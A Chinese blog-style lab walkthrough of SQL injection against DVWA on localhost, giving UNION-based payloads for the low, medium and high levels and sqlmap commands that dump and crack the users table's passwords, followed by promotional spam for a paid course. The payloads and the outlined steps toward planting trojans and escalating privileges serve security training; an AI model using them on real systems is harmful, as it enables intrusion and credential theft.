DVWA通过攻略之SQL注入_dvwa sql注入

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

注入过程:
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

2.实验演示

在DVWA页面左侧选择SQL Injection。
目标是通过SQL注入获取数据库中id1~5用户的密码。

2.1.low

DVWA Security设置为low,没有采用任何防御措施,SQL查询使用原始输入。
输入2,查看
在这里插入图片描述

判断注入点类型,输入

1’or 1=1 #

在这里插入图片描述

正常执行,说明是字符型注入。
判断数据库类型,

 1' union select version(),@@version\_compile\_os#

在这里插入图片描述

正确执行,说明version()函数被数据库识别并执行,而version()函数是MariaDB(MySQL)特有的函数,因此可以推断后台数据库为MySQL,操作系统为linux。
猜解数据库名,输入

1' union select database(),user()#

在这里插入图片描述

获得数据库名dvwa。
获取表名,information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段 table_name和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入

1' union select table\_name,table\_schema from information\_schema.tables where table\_schema= 'dvwa'#

在这里插入图片描述

显示dvwa数据库有两张表guestbook、users。猜测users表示用户表。
获取users表列名

1' union select 1,column\_name from information\_schema.columns where table\_schema='dvwa' and table\_name='users' #

其中dvwa和users是上面猜解的数据库名和表名。
在这里插入图片描述

显示列名为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。依据user,password可以获取到用户名,密码。
获取用户名,密码,输入

1' union select user,password from users #

在这里插入图片描述

得到了用户名,和密码,密码被加密了。可以尝试进行解密,例如md5。

2.2.medium
DVWA Security设置为Medium,使用mysql_real_escape_string()防止sql注入,函数功能是转义下列字符:\x00、\n、\r、\、"、\x1a。
用户id只能选择
在这里插入图片描述

有两个输出数据。启动burp抓包。
在这里插入图片描述

burp抓到的包发生到repeater,把id=1修改为

id=1 and 3-1 # 

发送。
在这里插入图片描述

判断是数值型注入。其他和low操作一样,只是SQL语句输入位置为在burp中修改id值,且不需要单引号。例如查询数据库类型为,把id=1修改为

id=1 union select version(),@@version\_compile\_os #

在这里插入图片描述

2.3.high

DVWA Security设置为High。这和low操作非常相似,但是这次攻击者以不同的方式输入值。输入值通过另一个页面的session变量传递给易受攻击的查询,而不是直接通过GET请求。
先点击第一个页面的here_to_change_your_ID,然后在显示的页面中输入要查询的id。
在这里插入图片描述

在页面中输入

1 ‘ and 1=1 #

在这里插入图片描述

显示正常,是字符型注入,其他和low一样,注入点在点击后显示的页面。如直接输入

1' union select user,password from users #

获得账号密码。
在这里插入图片描述

2.4.impossible

DVWA Security设置为Impossible Level。查询现在是参数化查询(而不是动态查询)。意味着查询由开发人员定义,并区分哪些部分是代码,其余部分是数据。目前无法破解。

3.sqlmap自动化注入

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

3.1.low

启动burp抓包

在这里插入图片描述

使用burp抓到的cookie
启动kali终端输入、运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low"

其中URL从输入1后从浏览器复制,cookie抓包后提取。
一直输入y。显示存在注入点
在这里插入图片描述

在以上命令后添加 --dbs获取所有数据库名,–batch默认输入y,kali终端运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --dbs --batch

在这里插入图片描述

获得存在数据库名dvwa,information_schema
在命令后添加–current-db,获得当前数据库名称。运行

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" --current-db --batch

在这里插入图片描述

获得当前数据库名为dvwa。
在命令后添加-D dvwa --tables 获取dvwa数据库中的表名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa --tables --batch

在这里插入图片描述

获得dvwa数据库中的表名guestbook,users
在命令后添加-T users --columns获取users表中的列名。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users --columns --batch

在这里插入图片描述

成功获得列名。在使用-C user,password,user_id --dump,显示用户id,名称,密码,且会自动解密,保存到本地文件中。解密需要一定时间。

sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" -D dvwa -T users -C user,password,user_id --dump 

在这里插入图片描述

3.2.medium

启动burp抓包
在这里插入图片描述

复制抓取到的内容,放入新建文件,1.txt。
kali中运行

sqlmap -r "1.txt" --batch

接下来的步骤,与low一样。

3.3.high

注入点在第二个页面,是跨页的情况。

启动burp抓包,内容放入新建文件2.txt。注意抓到的包是第二个页面点击submit后抓到的包。
在这里插入图片描述

kali运行

sqlmap -r “2.txt”  --batch  --second-ur "http://127.0.0.1/DVWA/vulnerabilities/sqli/"

后面url是第一个页面的链接。
在这里插入图片描述

接下来和low一样,例如运行以后命令获得数据库名

sqlmap -r “2.txt”  --batch --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php"
## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/72dd350866c74b9e35dd72e834c82f60.png)

![img](https://img-blog.csdnimg.cn/img_convert/568928231b36ab41ef857d584059ec18.png)

![img](https://img-blog.csdnimg.cn/img_convert/cd77fac23d38bd66a7f24623dd585706.png)

![img](https://img-blog.csdnimg.cn/img_convert/41f286596f0fd2497856abd586050282.png)

![img](https://img-blog.csdnimg.cn/img_convert/16c360add7d3c266add0ac2faf5378d6.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

fPdOqIK-1715845470793)]

[外链图片转存中...(img-SiP21dOR-1715845470793)]

[外链图片转存中...(img-3zMDcs1h-1715845470793)]

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值